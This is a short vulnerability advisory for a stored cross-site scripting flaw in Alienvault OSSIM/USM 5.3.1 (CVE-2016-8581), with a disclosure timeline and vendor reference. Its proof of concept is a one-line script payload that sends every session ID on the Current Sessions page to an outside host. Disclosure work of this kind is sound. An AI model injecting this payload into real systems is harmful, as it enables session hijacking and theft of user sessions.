Alienvault OSSIM/USM 5.3.1 - Persistent Cross-Site Scripting

Details

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Product: Alienvault OSSIM/USM

Vulnerability: Stored XSS

Author: Peter Lapp, lappsec () gmail com

CVE: CVE-2016-8581

CVSS: 3.5

Vulnerable Versions: <=5.3.1

Fixed Version: 5.3.2







Vulnerability Details

=====================



A stored XSS vulnerability exists in the User-Agent header of the

login process. It's possible to inject a script into that header that

then gets executed when mousing over the User-Agent field in Settings

-> Current Sessions.







POC

===



The POC uses jQuery to send all session IDs on the "Current Sessions"

page to an arbitrary site (Google, in this case)



<script>$('#ops_table

.ops_id').each(function(){$.get("https://www.google.com/",{session:($(this).html())});});</script>







Timeline

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08/03/16 - Reported to Vendor

10/03/16 - Fixed in version 5.3.2







References

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https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities